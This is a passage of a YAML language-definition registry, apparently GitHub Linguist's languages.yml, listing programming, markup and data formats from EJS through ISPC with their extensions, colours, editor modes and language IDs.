\".ecl\"\n  tm_scope: source.prolog.eclipse\n  ace_mode: prolog\n  language_id: 94\nEJS:\n  type: markup\n  color: \"#a91e50\"\n  extensions:\n  - \".ejs\"\n  - \".ect\"\n  - \".ejs.t\"\n  - \".jst\"\n  tm_scope: text.html.js\n  codemirror_mode: htmlembedded\n  codemirror_mime_type: application/x-ejs\n  ace_mode: ejs\n  language_id: 95\nEQ:\n  type: programming\n  color: \"#a78649\"\n  extensions:\n  - \".eq\"\n  tm_scope: source.cs\n  ace_mode: csharp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csharp\n  language_id: 96\nEagle:\n  type: data\n  extensions:\n  - \".sch\"\n  - \".brd\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 97\nEarthly:\n  type: programming\n  aliases:\n  - Earthfile\n  color: \"#2af0ff\"\n  tm_scope: source.earthfile\n  ace_mode: text\n  filenames:\n  - Earthfile\n  language_id: 963512632\nEasybuild:\n  type: data\n  color: \"#069406\"\n  group: Python\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  tm_scope: source.python\n  extensions:\n  - \".eb\"\n  language_id: 342840477\nEcere Projects:\n  type: data\n  color: \"#913960\"\n  group: JavaScript\n  extensions:\n  - \".epj\"\n  tm_scope: source.json\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  language_id: 98\nEcmarkup:\n  type: markup\n  color: \"#eb8131\"\n  group: HTML\n  extensions:\n  - \".html\"\n  tm_scope: text.html.ecmarkup\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  aliases:\n  - ecmarkdown\n  language_id: 844766630\nEdge:\n  type: markup\n  color: \"#0dffe0\"\n  extensions:\n  - \".edge\"\n  tm_scope: text.html.edge\n  ace_mode: html\n  language_id: 460509620\nEdgeQL:\n  type: programming\n  color: \"#31A7FF\"\n  aliases:\n  - esdl\n  extensions:\n  - \".edgeql\"\n  - \".esdl\"\n  ace_mode: text\n  tm_scope: source.edgeql\n  language_id: 925235833\nEditorConfig:\n  type: data\n  color: \"#fff1f2\"\n  group: INI\n  extensions:\n  - \".editorconfig\"\n  filenames:\n  - \".editorconfig\"\n  aliases:\n  - editor-config\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  tm_scope: source.editorconfig\n  language_id: 96139566\nEdje Data Collection:\n  type: data\n  extensions:\n  - \".edc\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 342840478\nEiffel:\n  type: programming\n  color: \"#4d6977\"\n  extensions:\n  - \".e\"\n  tm_scope: source.eiffel\n  ace_mode: eiffel\n  codemirror_mode: eiffel\n  codemirror_mime_type: text/x-eiffel\n  language_id: 99\nElixir:\n  type: programming\n  color: \"#6e4a7e\"\n  extensions:\n  - \".ex\"\n  - \".exs\"\n  tm_scope: source.elixir\n  ace_mode: elixir\n  filenames:\n  - mix.lock\n  interpreters:\n  - elixir\n  language_id: 100\nElm:\n  type: programming\n  color: \"#60B5CC\"\n  extensions:\n  - \".elm\"\n  tm_scope: source.elm\n  ace_mode: elm\n  codemirror_mode: elm\n  codemirror_mime_type: text/x-elm\n  language_id: 101\nElvish:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".elv\"\n  interpreters:\n  - elvish\n  tm_scope: source.elvish\n  color: \"#55BB55\"\n  language_id: 570996448\nElvish Transcript:\n  type: programming\n  group: Elvish\n  ace_mode: text\n  tm_scope: source.elvish-transcript\n  color: \"#55BB55\"\n  language_id: 452025714\nEmacs Lisp:\n  type: programming\n  tm_scope: source.emacs.lisp\n  color: \"#c065db\"\n  aliases:\n  - cask\n  - eask\n  - elisp\n  - emacs\n  filenames:\n  - \".abbrev_defs\"\n  - \".emacs\"\n  - \".emacs.desktop\"\n  - \".gnus\"\n  - \".spacemacs\"\n  - \".viper\"\n  - Cask\n  - Eask\n  - Project.ede\n  - _emacs\n  - abbrev_defs\n  extensions:\n  - \".el\"\n  - \".emacs\"\n  - \".emacs.desktop\"\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 102\nEmberScript:\n  type: programming\n  color: \"#FFF4F3\"\n  extensions:\n  - \".em\"\n  - \".emberscript\"\n  tm_scope: source.coffee\n  ace_mode: coffee\n  codemirror_mode: coffeescript\n  codemirror_mime_type: text/x-coffeescript\n  language_id: 103\nErlang:\n  type: programming\n  color: \"#B83998\"\n  extensions:\n  - \".erl\"\n  - \".app\"\n  - \".app.src\"\n  - \".es\"\n  - \".escript\"\n  - \".hrl\"\n  - \".xrl\"\n  - \".yrl\"\n  filenames:\n  - Emakefile\n  - rebar.config\n  - rebar.config.lock\n  - rebar.lock\n  tm_scope: source.erlang\n  ace_mode: erlang\n  codemirror_mode: erlang\n  codemirror_mime_type: text/x-erlang\n  interpreters:\n  - escript\n  language_id: 104\nEuphoria:\n  type: programming\n  color: \"#FF790B\"\n  extensions:\n  - \".e\"\n  - \".ex\"\n  interpreters:\n  - eui\n  - euiw\n  ace_mode: text\n  tm_scope: source.euphoria\n  language_id: 880693982\nF#:\n  type: programming\n  color: \"#b845fc\"\n  aliases:\n  - fsharp\n  extensions:\n  - \".fs\"\n  - \".fsi\"\n  - \".fsx\"\n  tm_scope: source.fsharp\n  ace_mode: fsharp\n  codemirror_mode: mllike\n  codemirror_mime_type: text/x-fsharp\n  language_id: 105\nF*:\n  fs_name: Fstar\n  type: programming\n  color: \"#572e30\"\n  aliases:\n  - fstar\n  extensions:\n  - \".fst\"\n  - \".fsti\"\n  tm_scope: source.fstar\n  ace_mode: text\n  language_id: 336943375\nFIGlet Font:\n  type: data\n  color: \"#FFDDBB\"\n  aliases:\n  - FIGfont\n  extensions:\n  - \".flf\"\n  tm_scope: source.figfont\n  ace_mode: text\n  language_id: 686129783\nFIRRTL:\n  type: programming\n  color: \"#2f632f\"\n  extensions:\n  - \".fir\"\n  tm_scope: source.firrtl\n  ace_mode: text\n  language_id: 906694254\nFLUX:\n  type: programming\n  color: \"#88ccff\"\n  extensions:\n  - \".fx\"\n  - \".flux\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 106\nFactor:\n  type: programming\n  color: \"#636746\"\n  extensions:\n  - \".factor\"\n  filenames:\n  - \".factor-boot-rc\"\n  - \".factor-rc\"\n  tm_scope: source.factor\n  ace_mode: text\n  codemirror_mode: factor\n  codemirror_mime_type: text/x-factor\n  language_id: 108\nFancy:\n  type: programming\n  color: \"#7b9db4\"\n  extensions:\n  - \".fy\"\n  - \".fancypack\"\n  filenames:\n  - Fakefile\n  tm_scope: source.fancy\n  ace_mode: text\n  language_id: 109\nFantom:\n  type: programming\n  color: \"#14253c\"\n  extensions:\n  - \".fan\"\n  tm_scope: source.fan\n  ace_mode: text\n  language_id: 110\nFaust:\n  type: programming\n  color: \"#c37240\"\n  extensions:\n  - \".dsp\"\n  tm_scope: source.faust\n  ace_mode: text\n  language_id: 622529198\nFennel:\n  type: programming\n  tm_scope: source.fnl\n  ace_mode: text\n  color: \"#fff3d7\"\n  interpreters:\n  - fennel\n  extensions:\n  - \".fnl\"\n  language_id: 239946126\nFilebench WML:\n  type: programming\n  color: \"#F6B900\"\n  extensions:\n  - \".f\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 111\nFilterscript:\n  type: programming\n  group: RenderScript\n  extensions:\n  - \".fs\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 112\nFlatBuffers:\n  type: data\n  color: \"#ed284a\"\n  extensions:\n  - \".fbs\"\n  tm_scope: source.flatbuffers\n  ace_mode: text\n  language_id: 577640576\nFlix:\n  type: programming\n  color: \"#d44a45\"\n  extensions:\n  - \".flix\"\n  tm_scope: source.flix\n  ace_mode: flix\n  language_id: 800935960\nFluent:\n  type: programming\n  color: \"#ffcc33\"\n  extensions:\n  - \".ftl\"\n  tm_scope: source.ftl\n  ace_mode: text\n  language_id: 206353404\nFormatted:\n  type: data\n  extensions:\n  - \".for\"\n  - \".eam.fs\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 113\nForth:\n  type: programming\n  color: \"#341708\"\n  extensions:\n  - \".fth\"\n  - \".4th\"\n  - \".f\"\n  - \".for\"\n  - \".forth\"\n  - \".fr\"\n  - \".frt\"\n  - \".fs\"\n  tm_scope: source.forth\n  ace_mode: forth\n  codemirror_mode: forth\n  codemirror_mime_type: text/x-forth\n  language_id: 114\nFortran:\n  group: Fortran\n  type: programming\n  color: \"#4d41b1\"\n  extensions:\n  - \".f\"\n  - \".f77\"\n  - \".for\"\n  - \".fpp\"\n  tm_scope: source.fortran\n  ace_mode: fortran\n  codemirror_mode: fortran\n  codemirror_mime_type: text/x-fortran\n  language_id: 107\nFortran Free Form:\n  group: Fortran\n  color: \"#4d41b1\"\n  type: programming\n  extensions:\n  - \".f90\"\n  - \".f03\"\n  - \".f08\"\n  - \".f95\"\n  tm_scope: source.fortran.modern\n  ace_mode: fortran\n  codemirror_mode: fortran\n  codemirror_mime_type: text/x-fortran\n  language_id: 761352333\nFreeBASIC:\n  type: programming\n  color: \"#141AC9\"\n  extensions:\n  - \".bi\"\n  - \".bas\"\n  tm_scope: source.vbnet\n  aliases:\n  - fb\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 472896659\nFreeMarker:\n  type: programming\n  color: \"#0050b2\"\n  aliases:\n  - ftl\n  extensions:\n  - \".ftl\"\n  - \".ftlh\"\n  tm_scope: text.html.ftl\n  ace_mode: ftl\n  language_id: 115\nFrege:\n  type: programming\n  color: \"#00cafe\"\n  extensions:\n  - \".fr\"\n  tm_scope: source.haskell\n  ace_mode: haskell\n  language_id: 116\nFuthark:\n  type: programming\n  color: \"#5f021f\"\n  extensions:\n  - \".fut\"\n  tm_scope: source.futhark\n  ace_mode: text\n  language_id: 97358117\nG-code:\n  type: programming\n  color: \"#D08CF2\"\n  extensions:\n  - \".g\"\n  - \".cnc\"\n  - \".gco\"\n  - \".gcode\"\n  tm_scope: source.gcode\n  ace_mode: gcode\n  language_id: 117\nGAML:\n  type: programming\n  color: \"#FFC766\"\n  extensions:\n  - \".gaml\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 290345951\nGAMS:\n  type: programming\n  color: \"#f49a22\"\n  extensions:\n  - \".gms\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 118\nGAP:\n  type: programming\n  color: \"#0000cc\"\n  extensions:\n  - \".g\"\n  - \".gap\"\n  - \".gd\"\n  - \".gi\"\n  - \".tst\"\n  tm_scope: source.gap\n  ace_mode: text\n  language_id: 119\nGCC Machine Description:\n  type: programming\n  color: \"#FFCFAB\"\n  extensions:\n  - \".md\"\n  tm_scope: source.lisp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 121\nGDB:\n  type: programming\n  extensions:\n  - \".gdb\"\n  - \".gdbinit\"\n  tm_scope: source.gdb\n  ace_mode: text\n  language_id: 122\nGDScript:\n  type: programming\n  color: \"#355570\"\n  extensions:\n  - \".gd\"\n  tm_scope: source.gdscript\n  ace_mode: text\n  language_id: 123\nGDShader:\n  type: programming\n  color: \"#478CBF\"\n  extensions:\n  - \".gdshader\"\n  - \".gdshaderinc\"\n  tm_scope: source.gdshader\n  ace_mode: glsl\n  language_id: 694638086\nGEDCOM:\n  type: data\n  color: \"#003058\"\n  ace_mode: text\n  extensions:\n  - \".ged\"\n  tm_scope: source.gedcom\n  language_id: 459577965\nGLSL:\n  type: programming\n  color: \"#5686a5\"\n  extensions:\n  - \".glsl\"\n  - \".fp\"\n  - \".frag\"\n  - \".frg\"\n  - \".fs\"\n  - \".fsh\"\n  - \".fshader\"\n  - \".geo\"\n  - \".geom\"\n  - \".glslf\"\n  - \".glslv\"\n  - \".gs\"\n  - \".gshader\"\n  - \".rchit\"\n  - \".rmiss\"\n  - \".shader\"\n  - \".tesc\"\n  - \".tese\"\n  - \".vert\"\n  - \".vrx\"\n  - \".vs\"\n  - \".vsh\"\n  - \".vshader\"\n  tm_scope: source.glsl\n  ace_mode: glsl\n  language_id: 124\nGN:\n  type: data\n  extensions:\n  - \".gn\"\n  - \".gni\"\n  interpreters:\n  - gn\n  filenames:\n  - \".gn\"\n  tm_scope: source.gn\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  language_id: 302957008\nGSC:\n  type: programming\n  color: \"#FF6800\"\n  extensions:\n  - \".gsc\"\n  - \".csc\"\n  - \".gsh\"\n  tm_scope: source.gsc\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 257856279\nGame Maker Language:\n  type: programming\n  color: \"#71b417\"\n  extensions:\n  - \".gml\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 125\nGemfile.lock:\n  type: data\n  color: \"#701516\"\n  searchable: false\n  tm_scope: source.gemfile-lock\n  ace_mode: text\n  filenames:\n  - Gemfile.lock\n  language_id: 907065713\nGemini:\n  type: prose\n  color: \"#ff6900\"\n  ace_mode: text\n  extensions:\n  - \".gmi\"\n  aliases:\n  - gemtext\n  wrap: true\n  tm_scope: source.gemini\n  language_id: 310828396\nGenero 4gl:\n  type: programming\n  color: \"#63408e\"\n  extensions:\n  - \".4gl\"\n  tm_scope: source.genero-4gl\n  ace_mode: text\n  language_id: 986054050\nGenero per:\n  type: markup\n  color: \"#d8df39\"\n  extensions:\n  - \".per\"\n  tm_scope: source.genero-per\n  ace_mode: text\n  language_id: 902995658\nGenie:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".gs\"\n  color: \"#fb855d\"\n  tm_scope: none\n  language_id: 792408528\nGenshi:\n  type: programming\n  color: \"#951531\"\n  extensions:\n  - \".kid\"\n  tm_scope: text.xml.genshi\n  aliases:\n  - xml+genshi\n  - xml+kid\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 126\nGentoo Ebuild:\n  type: programming\n  color: \"#9400ff\"\n  group: Shell\n  extensions:\n  - \".ebuild\"\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 127\nGentoo Eclass:\n  type: programming\n  color: \"#9400ff\"\n  group: Shell\n  extensions:\n  - \".eclass\"\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 128\nGerber Image:\n  type: data\n  color: \"#d20b00\"\n  aliases:\n  - rs-274x\n  extensions:\n  - \".gbr\"\n  - \".cmp\"\n  - \".gbl\"\n  - \".gbo\"\n  - \".gbp\"\n  - \".gbs\"\n  - \".gko\"\n  - \".gml\"\n  - \".gpb\"\n  - \".gpt\"\n  - \".gtl\"\n  - \".gto\"\n  - \".gtp\"\n  - \".gts\"\n  - \".ncl\"\n  - \".sol\"\n  interpreters:\n  - gerbv\n  - gerbview\n  tm_scope: source.gerber\n  ace_mode: text\n  language_id: 404627610\nGettext Catalog:\n  type: prose\n  aliases:\n  - pot\n  extensions:\n  - \".po\"\n  - \".pot\"\n  tm_scope: source.po\n  ace_mode: text\n  language_id: 129\nGherkin:\n  type: programming\n  extensions:\n  - \".feature\"\n  - \".story\"\n  tm_scope: text.gherkin.feature\n  codemirror_mode: gherkin\n  codemirror_mime_type: text/x-feature\n  aliases:\n  - cucumber\n  ace_mode: gherkin\n  color: \"#5B2063\"\n  language_id: 76\nGit Attributes:\n  type: data\n  color: \"#F44D27\"\n  aliases:\n  - gitattributes\n  filenames:\n  - \".gitattributes\"\n  tm_scope: source.gitattributes\n  ace_mode: gitignore\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 956324166\nGit Commit:\n  type: data\n  color: \"#F44D27\"\n  aliases:\n  - commit\n  filenames:\n  - COMMIT_EDITMSG\n  ace_mode: text\n  tm_scope: text.git-commit\n  wrap: true\n  language_id: 131750475\nGit Config:\n  type: data\n  color: \"#F44D27\"\n  group: INI\n  aliases:\n  - gitconfig\n  - gitmodules\n  extensions:\n  - \".gitconfig\"\n  filenames:\n  - \".gitconfig\"\n  - \".gitmodules\"\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  tm_scope: source.gitconfig\n  language_id: 807968997\nGit Revision List:\n  type: data\n  color: \"#F44D27\"\n  aliases:\n  - Git Blame Ignore Revs\n  filenames:\n  - \".git-blame-ignore-revs\"\n  tm_scope: source.git-revlist\n  ace_mode: text\n  language_id: 461881235\nGleam:\n  type: programming\n  color: \"#ffaff3\"\n  ace_mode: text\n  extensions:\n  - \".gleam\"\n  tm_scope: source.gleam\n  language_id: 1054258749\nGlimmer JS:\n  type: programming\n  aliases:\n  - gjs\n  extensions:\n  - \".gjs\"\n  ace_mode: javascript\n  color: \"#F5835F\"\n  tm_scope: source.gjs\n  group: JavaScript\n  language_id: 5523150\nGlimmer TS:\n  type: programming\n  aliases:\n  - gts\n  extensions:\n  - \".gts\"\n  ace_mode: typescript\n  color: \"#3178c6\"\n  tm_scope: source.gts\n  group: TypeScript\n  language_id: 95110458\nGlyph:\n  type: programming\n  color: \"#c1ac7f\"\n  extensions:\n  - \".glf\"\n  tm_scope: source.tcl\n  ace_mode: tcl\n  codemirror_mode: tcl\n  codemirror_mime_type: text/x-tcl\n  language_id: 130\nGlyph Bitmap Distribution Format:\n  type: data\n  extensions:\n  - \".bdf\"\n  tm_scope: source.bdf\n  ace_mode: text\n  language_id: 997665271\nGnuplot:\n  type: programming\n  color: \"#f0a9f0\"\n  extensions:\n  - \".gp\"\n  - \".gnu\"\n  - \".gnuplot\"\n  - \".p\"\n  - \".plot\"\n  - \".plt\"\n  interpreters:\n  - gnuplot\n  tm_scope: source.gnuplot\n  ace_mode: text\n  language_id: 131\nGo:\n  type: programming\n  color: \"#00ADD8\"\n  aliases:\n  - golang\n  extensions:\n  - \".go\"\n  tm_scope: source.go\n  ace_mode: golang\n  codemirror_mode: go\n  codemirror_mime_type: text/x-go\n  language_id: 132\nGo Checksums:\n  type: data\n  color: \"#00ADD8\"\n  aliases:\n  - go.sum\n  - go sum\n  - go.work.sum\n  - go work sum\n  filenames:\n  - go.sum\n  - go.work.sum\n  tm_scope: go.sum\n  ace_mode: text\n  language_id: 1054391671\nGo Module:\n  type: data\n  color: \"#00ADD8\"\n  aliases:\n  - go.mod\n  - go mod\n  filenames:\n  - go.mod\n  tm_scope: go.mod\n  ace_mode: text\n  language_id: 947461016\nGo Template:\n  type: markup\n  color: \"#00ADD8\"\n  aliases:\n  - gotmpl\n  extensions:\n  - \".gohtml\"\n  - \".gotmpl\"\n  - \".html.tmpl\"\n  - \".tmpl\"\n  - \".tpl\"\n  filenames:\n  - _helpers.tpl\n  tm_scope: source.go-template\n  ace_mode: text\n  language_id: 247918769\nGo Workspace:\n  type: data\n  color: \"#00ADD8\"\n  aliases:\n  - go.work\n  - go work\n  filenames:\n  - go.work\n  tm_scope: go.mod\n  ace_mode: text\n  language_id: 934546256\nGodot Resource:\n  type: data\n  color: \"#355570\"\n  extensions:\n  - \".gdnlib\"\n  - \".gdns\"\n  - \".tres\"\n  - \".tscn\"\n  filenames:\n  - project.godot\n  tm_scope: source.gdresource\n  ace_mode: text\n  language_id: 738107771\nGolo:\n  type: programming\n  color: \"#88562A\"\n  extensions:\n  - \".golo\"\n  tm_scope: source.golo\n  ace_mode: text\n  language_id: 133\nGosu:\n  type: programming\n  color: \"#82937f\"\n  extensions:\n  - \".gs\"\n  - \".gst\"\n  - \".gsx\"\n  - \".vark\"\n  tm_scope: source.gosu.2\n  ace_mode: text\n  language_id: 134\nGrace:\n  type: programming\n  color: \"#615f8b\"\n  extensions:\n  - \".grace\"\n  tm_scope: source.grace\n  ace_mode: text\n  language_id: 135\nGradle:\n  type: data\n  color: \"#02303a\"\n  extensions:\n  - \".gradle\"\n  tm_scope: source.groovy.gradle\n  ace_mode: text\n  language_id: 136\nGradle Kotlin DSL:\n  group: Gradle\n  type: data\n  color: \"#02303a\"\n  extensions:\n  - \".gradle.kts\"\n  ace_mode: text\n  tm_scope: source.kotlin\n  language_id: 432600901\nGrammatical Framework:\n  type: programming\n  aliases:\n  - gf\n  extensions:\n  - \".gf\"\n  color: \"#ff0000\"\n  tm_scope: source.gf\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 137\nGraph Modeling Language:\n  type: data\n  extensions:\n  - \".gml\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 138\nGraphQL:\n  type: data\n  color: \"#e10098\"\n  extensions:\n  - \".graphql\"\n  - \".gql\"\n  - \".graphqls\"\n  tm_scope: source.graphql\n  ace_mode: graphqlschema\n  language_id: 139\nGraphviz (DOT):\n  type: data\n  color: \"#2596be\"\n  tm_scope: source.dot\n  extensions:\n  - \".dot\"\n  - \".gv\"\n  ace_mode: dot\n  language_id: 140\nGroovy:\n  type: programming\n  tm_scope: source.groovy\n  ace_mode: groovy\n  codemirror_mode: groovy\n  codemirror_mime_type: text/x-groovy\n  color: \"#4298b8\"\n  extensions:\n  - \".groovy\"\n  - \".grt\"\n  - \".gtpl\"\n  - \".gvy\"\n  interpreters:\n  - groovy\n  filenames:\n  - Jenkinsfile\n  language_id: 142\nGroovy Server Pages:\n  type: programming\n  color: \"#4298b8\"\n  group: Groovy\n  aliases:\n  - gsp\n  - java server page\n  extensions:\n  - \".gsp\"\n  tm_scope: text.html.jsp\n  ace_mode: jsp\n  codemirror_mode: htmlembedded\n  codemirror_mime_type: application/x-jsp\n  language_id: 143\nHAProxy:\n  type: data\n  color: \"#106da9\"\n  extensions:\n  - \".cfg\"\n  filenames:\n  - haproxy.cfg\n  tm_scope: source.haproxy-config\n  ace_mode: text\n  language_id: 366607477\nHCL:\n  type: programming\n  color: \"#844FBA\"\n  extensions:\n  - \".hcl\"\n  - \".nomad\"\n  - \".tf\"\n  - \".tfvars\"\n  - \".tofu\"\n  - \".workflow\"\n  aliases:\n  - HashiCorp Configuration Language\n  - opentofu\n  - terraform\n  ace_mode: terraform\n  codemirror_mode: ruby\n  codemirror_mime_type: text/x-ruby\n  tm_scope: source.hcl\n  language_id: 144\nHIP:\n  type: programming\n  color: \"#4F3A4F\"\n  extensions:\n  - \".hip\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 674379998\nHLSL:\n  type: programming\n  color: \"#aace60\"\n  extensions:\n  - \".hlsl\"\n  - \".cginc\"\n  - \".fx\"\n  - \".fxh\"\n  - \".hlsli\"\n  ace_mode: text\n  tm_scope: source.hlsl\n  language_id: 145\nHOCON:\n  type: data\n  color: \"#9ff8ee\"\n  extensions:\n  - \".hocon\"\n  filenames:\n  - \".scalafix.conf\"\n  - \".scalafmt.conf\"\n  tm_scope: source.hocon\n  ace_mode: text\n  language_id: 679725279\nHTML:\n  type: markup\n  tm_scope: text.html.basic\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  color: \"#e34c26\"\n  aliases:\n  - xhtml\n  extensions:\n  - \".html\"\n  - \".hta\"\n  - \".htm\"\n  - \".html.hl\"\n  - \".inc\"\n  - \".xht\"\n  - \".xhtml\"\n  language_id: 146\nHTML+ECR:\n  type: markup\n  color: \"#2e1052\"\n  tm_scope: text.html.ecr\n  group: HTML\n  aliases:\n  - ecr\n  extensions:\n  - \".ecr\"\n  ace_mode: html_ruby\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 148\nHTML+EEX:\n  type: markup\n  color: \"#6e4a7e\"\n  tm_scope: text.html.elixir\n  group: HTML\n  aliases:\n  - eex\n  - heex\n  - leex\n  extensions:\n  - \".html.eex\"\n  - \".heex\"\n  - \".leex\"\n  ace_mode: html_elixir\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 149\nHTML+ERB:\n  type: markup\n  color: \"#701516\"\n  tm_scope: text.html.erb\n  group: HTML\n  aliases:\n  - erb\n  - rhtml\n  - html+ruby\n  extensions:\n  - \".erb\"\n  - \".erb.deface\"\n  - \".rhtml\"\n  ace_mode: html_ruby\n  codemirror_mode: htmlembedded\n  codemirror_mime_type: application/x-erb\n  language_id: 150\nHTML+PHP:\n  type: markup\n  color: \"#4f5d95\"\n  tm_scope: text.html.php\n  group: HTML\n  extensions:\n  - \".phtml\"\n  ace_mode: php\n  codemirror_mode: php\n  codemirror_mime_type: application/x-httpd-php\n  language_id: 151\nHTML+Razor:\n  type: markup\n  color: \"#512be4\"\n  tm_scope: text.html.cshtml\n  group: HTML\n  aliases:\n  - razor\n  extensions:\n  - \".cshtml\"\n  - \".razor\"\n  ace_mode: razor\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 479039817\nHTTP:\n  type: data\n  color: \"#005C9C\"\n  extensions:\n  - \".http\"\n  tm_scope: source.httpspec\n  ace_mode: text\n  codemirror_mode: http\n  codemirror_mime_type: message/http\n  language_id: 152\nHXML:\n  type: data\n  color: \"#f68712\"\n  ace_mode: text\n  extensions:\n  - \".hxml\"\n  tm_scope: source.hxml\n  codemirror_mode: haxe\n  codemirror_mime_type: text/x-hxml\n  language_id: 786683730\nHack:\n  type: programming\n  ace_mode: php\n  codemirror_mode: php\n  codemirror_mime_type: application/x-httpd-php\n  extensions:\n  - \".hack\"\n  - \".hh\"\n  - \".hhi\"\n  - \".php\"\n  tm_scope: source.hack\n  color: \"#878787\"\n  language_id: 153\nHaml:\n  type: markup\n  color: \"#ece2a9\"\n  extensions:\n  - \".haml\"\n  - \".haml.deface\"\n  tm_scope: text.haml\n  ace_mode: haml\n  codemirror_mode: haml\n  codemirror_mime_type: text/x-haml\n  language_id: 154\nHandlebars:\n  type: markup\n  color: \"#f7931e\"\n  aliases:\n  - hbs\n  - htmlbars\n  extensions:\n  - \".handlebars\"\n  - \".hbs\"\n  tm_scope: text.html.handlebars\n  ace_mode: handlebars\n  language_id: 155\nHarbour:\n  type: programming\n  color: \"#0e60e3\"\n  extensions:\n  - \".hb\"\n  tm_scope: source.harbour\n  ace_mode: text\n  language_id: 156\nHare:\n  type: programming\n  color: \"#9d7424\"\n  extensions:\n  - \".ha\"\n  ace_mode: text\n  language_id: 463518941\n  tm_scope: none\nHaskell:\n  type: programming\n  color: \"#5e5086\"\n  extensions:\n  - \".hs\"\n  - \".hs-boot\"\n  - \".hsc\"\n  interpreters:\n  - runghc\n  - runhaskell\n  - runhugs\n  tm_scope: source.haskell\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 157\nHaxe:\n  type: programming\n  ace_mode: haxe\n  codemirror_mode: haxe\n  codemirror_mime_type: text/x-haxe\n  color: \"#df7900\"\n  extensions:\n  - \".hx\"\n  - \".hxsl\"\n  tm_scope: source.hx\n  language_id: 158\nHiveQL:\n  type: programming\n  extensions:\n  - \".q\"\n  - \".hql\"\n  color: \"#dce200\"\n  tm_scope: source.hql\n  ace_mode: sql\n  language_id: 931814087\nHolyC:\n  type: programming\n  color: \"#ffefaf\"\n  extensions:\n  - \".hc\"\n  tm_scope: source.hc\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 928121743\nHosts File:\n  type: data\n  color: \"#308888\"\n  filenames:\n  - HOSTS\n  - hosts\n  - hosts.txt\n  aliases:\n  - hosts\n  tm_scope: source.hosts\n  ace_mode: text\n  language_id: 231021894\nHurl:\n  type: programming\n  color: \"#FF0288\"\n  extensions:\n  - \".hurl\"\n  tm_scope: source.hurl\n  ace_mode: text\n  language_id: 959040217\nHy:\n  type: programming\n  ace_mode: text\n  color: \"#7790B2\"\n  extensions:\n  - \".hy\"\n  interpreters:\n  - hy\n  aliases:\n  - hylang\n  tm_scope: source.hy\n  language_id: 159\nHyPhy:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".bf\"\n  tm_scope: none\n  language_id: 160\nIDL:\n  type: programming\n  color: \"#a3522f\"\n  extensions:\n  - \".pro\"\n  - \".dlm\"\n  tm_scope: source.idl\n  ace_mode: text\n  codemirror_mode: idl\n  codemirror_mime_type: text/x-idl\n  language_id: 161\nIGOR Pro:\n  type: programming\n  color: \"#0000cc\"\n  extensions:\n  - \".ipf\"\n  aliases:\n  - igor\n  - igorpro\n  tm_scope: source.igor\n  ace_mode: text\n  language_id: 162\nINI:\n  type: data\n  color: \"#d1dbe0\"\n  extensions:\n  - \".ini\"\n  - \".cfg\"\n  - \".cnf\"\n  - \".dof\"\n  - \".frm\"\n  - \".lektorproject\"\n  - \".prefs\"\n  - \".pro\"\n  - \".properties\"\n  - \".url\"\n  filenames:\n  - \".buckconfig\"\n  - \".coveragerc\"\n  - \".flake8\"\n  - \".pylintrc\"\n  - HOSTS\n  - buildozer.spec\n  - hosts\n  - pylintrc\n  - vlcrc\n  tm_scope: source.ini\n  aliases:\n  - dosini\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 163\nIRC log:\n  type: data\n  aliases:\n  - irc\n  - irc logs\n  extensions:\n  - \".irclog\"\n  - \".weechatlog\"\n  tm_scope: none\n  ace_mode: text\n  codemirror_mode: mirc\n  codemirror_mime_type: text/mirc\n  language_id: 164\nISPC:\n  type: programming\n  color: \"#2D68B1\"\n  extensions:\n  - \".ispc\"\n  tm_scope: source.ispc\n  ace_mode: c_cpp\n  